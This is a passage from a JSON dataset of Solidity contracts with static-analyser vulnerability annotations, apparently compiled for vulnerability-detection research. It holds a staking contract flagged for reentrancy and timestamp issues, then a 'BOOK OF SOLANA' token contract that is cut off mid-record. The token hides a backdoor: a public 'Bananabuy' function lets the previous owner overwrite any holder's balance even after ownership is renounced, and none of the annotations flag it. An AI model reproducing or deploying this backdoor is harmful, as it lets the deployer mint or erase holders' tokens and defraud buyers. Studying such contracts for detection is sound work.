Ownable, Pausable, ReentrancyGuard {\n using SafeMath for uint256;\n\n using SafeERC20 for IERC20;\n\n using EnumerableSet for EnumerableSet.AddressSet;\n\n struct UserInfo {\n uint256 amount;\n uint256 rewardDebt;\n uint256 pendingRewards;\n uint256 depositedAt;\n uint256 claimedAt;\n }\n\n uint256 public lastUpdateTime;\n\n uint256 public accPerShare;\n\n uint256 public totalSupply;\n\n uint256 public totalReward;\n\n uint256 public collectedPenalty;\n\n IERC20 public immutable stakingToken;\n\n IERC20 public immutable rewardToken;\n\n IERC20 public immutable dividendToken;\n\n address public feeRecipient;\n\n uint256 public penaltyFee = 1000;\n\n uint256 public constant MAX_FEE = 10000;\n\n uint256 public constant FEE_LIMIT = 5000;\n\n uint256 public rewardRate = uint256(0.00000001 ether);\n\n uint256 public endTime;\n\n uint256 public rewardCycle = 24 hours;\n\n mapping(address => UserInfo) public userInfo;\n\n EnumerableSet.AddressSet users;\n\n event Deposit(address indexed user, uint256 amount);\n\n event Withdraw(address indexed user, uint256 amount);\n\n event Claim(address indexed user, uint256 amount);\n\n modifier updateUserList() {\n _;\n\n if (\n userInfo[msg.sender].amount > 0 ||\n userInfo[msg.sender].pendingRewards > 0\n ) _checkOrAddUser(msg.sender);\n else _removeUser(msg.sender);\n }\n\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 0052c2d): Staking.updateReward() uses a dangerous strict equality user.claimedAt == 0\n\t// Recommendation for 0052c2d: Don't use strict equality to determine if an account has enough Ether or tokens.\n modifier updateReward() {\n UserInfo storage user = userInfo[msg.sender];\n\n if (totalSupply > 0) {\n uint256 multiplier = Math.min(block.timestamp, endTime).sub(\n lastUpdateTime\n );\n\n uint256 reward = multiplier.mul(rewardRate);\n\n totalReward = totalReward.add(multiplier.mul(rewardRate));\n\n accPerShare = accPerShare.add(reward.mul(1e12).div(totalSupply));\n }\n\n lastUpdateTime = Math.min(block.timestamp, endTime);\n\n uint256 pending = user.amount.mul(accPerShare).div(1e12).sub(\n user.rewardDebt\n );\n\n user.pendingRewards = user.pendingRewards.add(pending);\n\n _;\n\n user.rewardDebt = user.amount.mul(accPerShare).div(1e12);\n\n\t\t// incorrect-equality | ID: 0052c2d\n if (user.claimedAt == 0) user.claimedAt = block.timestamp;\n }\n\n constructor(\n address _stakingToken,\n address _rewardToken,\n address _dividendToken\n ) {\n stakingToken = IERC20(_stakingToken);\n\n rewardToken = IERC20(_rewardToken);\n\n dividendToken = IERC20(_dividendToken);\n\n feeRecipient = msg.sender;\n\n lastUpdateTime = block.timestamp;\n\n endTime = block.timestamp.add(36500 days);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: fe9c08e): Staking.setEndTime(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp < _time,!available)\n\t// Recommendation for fe9c08e: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6e8ec54): Staking.setEndTime(uint256) should emit an event for endTime = _time \n\t// Recommendation for 6e8ec54: Emit an event for critical parameter changes.\n function setEndTime(uint256 _time) external onlyOwner {\n\t\t// timestamp | ID: fe9c08e\n require(block.timestamp < _time, \"!available\");\n\n\t\t// events-maths | ID: 6e8ec54\n endTime = _time;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8e834b9): Staking.restartPeriod(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp > endTime,!expired)\n\t// Recommendation for 8e834b9: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9a70cca): Staking.restartPeriod(uint256) should emit an event for endTime = block.timestamp.add(_minutes.mul(60)) \n\t// Recommendation for 9a70cca: Emit an event for critical parameter changes.\n function restartPeriod(uint256 _minutes) external onlyOwner {\n\t\t// timestamp | ID: 8e834b9\n require(block.timestamp > endTime, \"!expired\");\n\n\t\t// events-maths | ID: 9a70cca\n endTime = block.timestamp.add(_minutes.mul(1 minutes));\n\n lastUpdateTime = block.timestamp;\n }\n\n function setRewardCycle(uint256 _cycleMinutes) external onlyOwner {\n rewardCycle = _cycleMinutes.mul(1 minutes);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 3093ed5): Staking.deposit(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp < endTime,expired)\n\t// Recommendation for 3093ed5: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 8fa6cde): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 8fa6cde: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function deposit(\n uint256 amount\n ) external nonReentrant whenNotPaused updateReward updateUserList {\n\t\t// timestamp | ID: 3093ed5\n require(block.timestamp < endTime, \"expired\");\n\n UserInfo storage user = userInfo[msg.sender];\n\n uint before = stakingToken.balanceOf(address(this));\n\n\t\t// reentrancy-no-eth | ID: 8fa6cde\n stakingToken.safeTransferFrom(msg.sender, address(this), amount);\n\n amount = stakingToken.balanceOf(address(this)).sub(before);\n\n\t\t// reentrancy-no-eth | ID: 8fa6cde\n user.amount = user.amount.add(amount);\n\n\t\t// reentrancy-no-eth | ID: 8fa6cde\n user.depositedAt = block.timestamp;\n\n\t\t// reentrancy-no-eth | ID: 8fa6cde\n totalSupply = totalSupply.add(amount);\n\n emit Deposit(msg.sender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 4b65b08): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 4b65b08: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: f4687ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for f4687ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw(\n uint256 amount\n ) public nonReentrant updateReward updateUserList {\n UserInfo storage user = userInfo[msg.sender];\n\n if (penaltyFee == 0) {\n\t\t\t// timestamp | ID: 4b65b08\n require(block.timestamp >= endTime, \"You cannot withdraw yet!\");\n }\n\n\t\t// timestamp | ID: 4b65b08\n require(amount > 0 && user.amount >= amount, \"!amount\");\n\n uint256 feeAmount = 0;\n\n\t\t// timestamp | ID: 4b65b08\n if (penaltyFee > 0 && block.timestamp < endTime) {\n feeAmount = amount.mul(penaltyFee).div(MAX_FEE);\n }\n\n collectedPenalty += feeAmount;\n\n\t\t// reentrancy-no-eth | ID: f4687ad\n stakingToken.safeTransfer(address(msg.sender), amount.sub(feeAmount));\n\n\t\t// reentrancy-no-eth | ID: f4687ad\n user.amount = user.amount.sub(amount);\n\n\t\t// reentrancy-no-eth | ID: f4687ad\n user.depositedAt = block.timestamp;\n\n\t\t// reentrancy-no-eth | ID: f4687ad\n totalSupply = totalSupply.sub(amount);\n\n emit Withdraw(msg.sender, amount);\n }\n\n function withdrawAll() external {\n UserInfo storage user = userInfo[msg.sender];\n\n withdraw(user.amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 51570ab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 51570ab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdrawPenalty() external onlyOwner {\n uint sendAmount = collectedPenalty;\n\n uint curBal = stakingToken.balanceOf(address(this));\n\n require(curBal > totalSupply, \"!collected penalties\");\n\n if (collectedPenalty > curBal.sub(totalSupply))\n sendAmount = curBal.sub(totalSupply);\n\n\t\t// reentrancy-no-eth | ID: 51570ab\n stakingToken.safeTransfer(feeRecipient, sendAmount);\n\n\t\t// reentrancy-no-eth | ID: 51570ab\n collectedPenalty -= sendAmount;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8ff8d95): Staking.claim() uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp.sub(user.claimedAt) >= rewardCycle,!available still)\n\t// Recommendation for 8ff8d95: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4fd57e1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4fd57e1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function claim() public nonReentrant updateReward updateUserList {\n UserInfo storage user = userInfo[msg.sender];\n\n\t\t// timestamp | ID: 8ff8d95\n require(\n block.timestamp.sub(user.claimedAt) >= rewardCycle,\n \"!available still\"\n );\n\n\t\t// reentrancy-eth | ID: 4fd57e1\n uint256 claimedAmount = _safeTransferRewards(\n msg.sender,\n user.pendingRewards\n );\n\n\t\t// reentrancy-eth | ID: 4fd57e1\n _safeTransferDividends(msg.sender, claimedAmount);\n\n\t\t// reentrancy-eth | ID: 4fd57e1\n user.pendingRewards = user.pendingRewards.sub(claimedAmount);\n\n\t\t// reentrancy-eth | ID: 4fd57e1\n user.claimedAt = block.timestamp;\n\n\t\t// reentrancy-eth | ID: 4fd57e1\n totalReward = totalReward.sub(claimedAmount);\n\n emit Claim(msg.sender, claimedAmount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c81ea2e): Staking.claimable(address) uses timestamp for comparisons Dangerous comparisons curTotalReward > 0\n\t// Recommendation for c81ea2e: Avoid relying on 'block.timestamp'.\n function claimable(address _user) external view returns (uint256, uint256) {\n UserInfo storage user = userInfo[_user];\n\n if (user.amount == 0) return (user.pendingRewards, 0);\n\n uint256 curAccPerShare = accPerShare;\n\n uint256 curTotalReward = totalReward;\n\n if (totalSupply > 0) {\n uint256 multiplier = Math.min(block.timestamp, endTime).sub(\n lastUpdateTime\n );\n\n uint256 reward = multiplier.mul(rewardRate);\n\n curTotalReward += reward;\n\n curAccPerShare = accPerShare.add(reward.mul(1e12).div(totalSupply));\n }\n\n uint amount = user.amount;\n\n uint available = amount\n .mul(curAccPerShare)\n .div(1e12)\n .sub(user.rewardDebt)\n .add(user.pendingRewards);\n\n uint reflectedAmount = dividendToken.balanceOf(address(this));\n\n uint dividendAmount = 0;\n\n\t\t// timestamp | ID: c81ea2e\n if (curTotalReward > 0) {\n dividendAmount = reflectedAmount.mul(available).div(curTotalReward);\n }\n\n return (available, dividendAmount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b551d8d): Staking._safeTransferRewards(address,uint256) uses timestamp for comparisons Dangerous comparisons amount > _bal.sub(totalSupply) amount > _bal amount > totalReward\n\t// Recommendation for b551d8d: Avoid relying on 'block.timestamp'.\n function _safeTransferRewards(\n address to,\n uint256 amount\n ) internal returns (uint256) {\n uint256 _bal = rewardToken.balanceOf(address(this));\n\n if (address(rewardToken) == address(stakingToken)) {\n require(_bal.sub(totalSupply) > 0, \"!enough rewards\");\n\n\t\t\t// timestamp | ID: b551d8d\n if (amount > _bal.sub(totalSupply)) amount = _bal.sub(totalSupply);\n } else {\n require(_bal > 0, \"!rewards\");\n\n\t\t\t// timestamp | ID: b551d8d\n if (amount > _bal) amount = _bal;\n }\n\n\t\t// timestamp | ID: b551d8d\n if (amount > totalReward) amount = totalReward;\n\n\t\t// reentrancy-eth | ID: 4fd57e1\n rewardToken.safeTransfer(to, amount);\n\n return amount;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b3d0ff7): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for b3d0ff7: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 39879a7): Staking._safeTransferDividends(address,uint256) uses a dangerous strict equality reflectedAmount == 0 || totalReward == 0\n\t// Recommendation for 39879a7: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _safeTransferDividends(\n address _to,\n uint256 _rewardAmount\n ) internal returns (uint256) {\n uint reflectedAmount = dividendToken.balanceOf(address(this));\n\n\t\t// timestamp | ID: b3d0ff7\n\t\t// incorrect-equality | ID: 39879a7\n if (reflectedAmount == 0 || totalReward == 0) return 0;\n\n\t\t// timestamp | ID: b3d0ff7\n require(_rewardAmount <= totalReward, \"invalid reward amount\");\n\n uint dividendAmount = reflectedAmount.mul(_rewardAmount).div(\n totalReward\n );\n\n\t\t// timestamp | ID: b3d0ff7\n if (dividendAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4fd57e1\n dividendToken.safeTransfer(_to, dividendAmount);\n }\n\n return dividendAmount;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 671bdf7): Staking.setRewardRate(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(endTime > block.timestamp,expired)\n\t// Recommendation for 671bdf7: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b60f877): Staking.setRewardRate(uint256) should emit an event for rewardRate = _rewardRate \n\t// Recommendation for b60f877: Emit an event for critical parameter changes.\n function setRewardRate(uint256 _rewardRate) external onlyOwner {\n\t\t// timestamp | ID: 671bdf7\n require(endTime > block.timestamp, \"expired\");\n\n require(\n _rewardRate > 0,\n \"Rewards per second should be greater than 0!\"\n );\n\n if (totalSupply > 0) {\n uint256 multiplier = block.timestamp.sub(lastUpdateTime);\n\n uint256 reward = multiplier.mul(rewardRate);\n\n totalReward = totalReward.add(reward);\n\n accPerShare = accPerShare.add(reward.mul(1e12).div(totalSupply));\n }\n\n lastUpdateTime = block.timestamp;\n\n\t\t// events-maths | ID: b60f877\n rewardRate = _rewardRate;\n }\n\n function setPenaltyFee(uint256 _fee) external onlyOwner {\n require(_fee < FEE_LIMIT, \"invalid fee\");\n\n penaltyFee = _fee;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1e16cba): Staking.setFeeRecipient(address)._recipient lacks a zerocheck on \t feeRecipient = _recipient\n\t// Recommendation for 1e16cba: Check that the address is not zero.\n function setFeeRecipient(address _recipient) external onlyOwner {\n\t\t// missing-zero-check | ID: 1e16cba\n feeRecipient = _recipient;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8db2728): Staking._removeUser(address) ignores return value by users.remove(_user)\n\t// Recommendation for 8db2728: Ensure that all the return values of the function calls are used.\n function _removeUser(address _user) internal {\n if (users.contains(_user) == true) {\n\t\t\t// unused-return | ID: 8db2728\n users.remove(_user);\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b2050a7): Staking._checkOrAddUser(address) ignores return value by users.add(_user)\n\t// Recommendation for b2050a7: Ensure that all the return values of the function calls are used.\n function _checkOrAddUser(address _user) internal {\n if (users.contains(_user) == false) {\n\t\t\t// unused-return | ID: b2050a7\n users.add(_user);\n }\n }\n\n function userCount() external view returns (uint) {\n return users.length();\n }\n\n function userList() external view onlyOwner returns (address[] memory) {\n address[] memory list = new address[](users.length());\n\n for (uint256 i = 0; i < users.length(); i++) {\n list[i] = users.at(i);\n }\n\n return list;\n }\n\n function pause() external onlyOwner {\n _pause();\n }\n\n function unpause() external onlyOwner {\n _unpause();\n }\n}\n",
"file_name": "solidity_code_10013.sol",
"size_bytes": 40099,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_wicscoinlly(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Bananabuy(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSenderHe = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSenderHe == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract BOOS is ERC20 {\n uint256 private constant TOAL_SUTSLTLY = 420690_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 8361c65): BOOS.DEAD shadows ERC20.DEAD\n\t// Recommendation for 8361c65: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: c40b9e7): BOOS.ZERO shadows ERC20.ZERO\n\t// Recommendation for c40b9e7: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6b856f5): BOOS.maxTxAmoudrstes should be immutable \n\t// Recommendation for 6b856f5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmoudrstes;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 40ea926): BOOS.maxwalles_tases should be immutable \n\t// Recommendation for 40ea926: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwalles_tases;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: fa47d3e): BOOS._burnPermtsmenses should be constant \n\t// Recommendation for fa47d3e: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPermtsmenses = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1df5333): BOOS.uniswapV2Router should be immutable \n\t// Recommendation for 1df5333: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"BOOK OF SOLANA\", unicode\"BOOS\", TOAL_SUTSLTLY) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwalles_tases = TOAL_SUTSLTLY / 50;\n\n maxTxAmoudrstes = TOAL_SUTSLTLY / 50;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPermtsmenses) / 100;\n\n super._transfer_wicscoinlly(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmoudrstes, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwalles_tases,\n \"Max holding 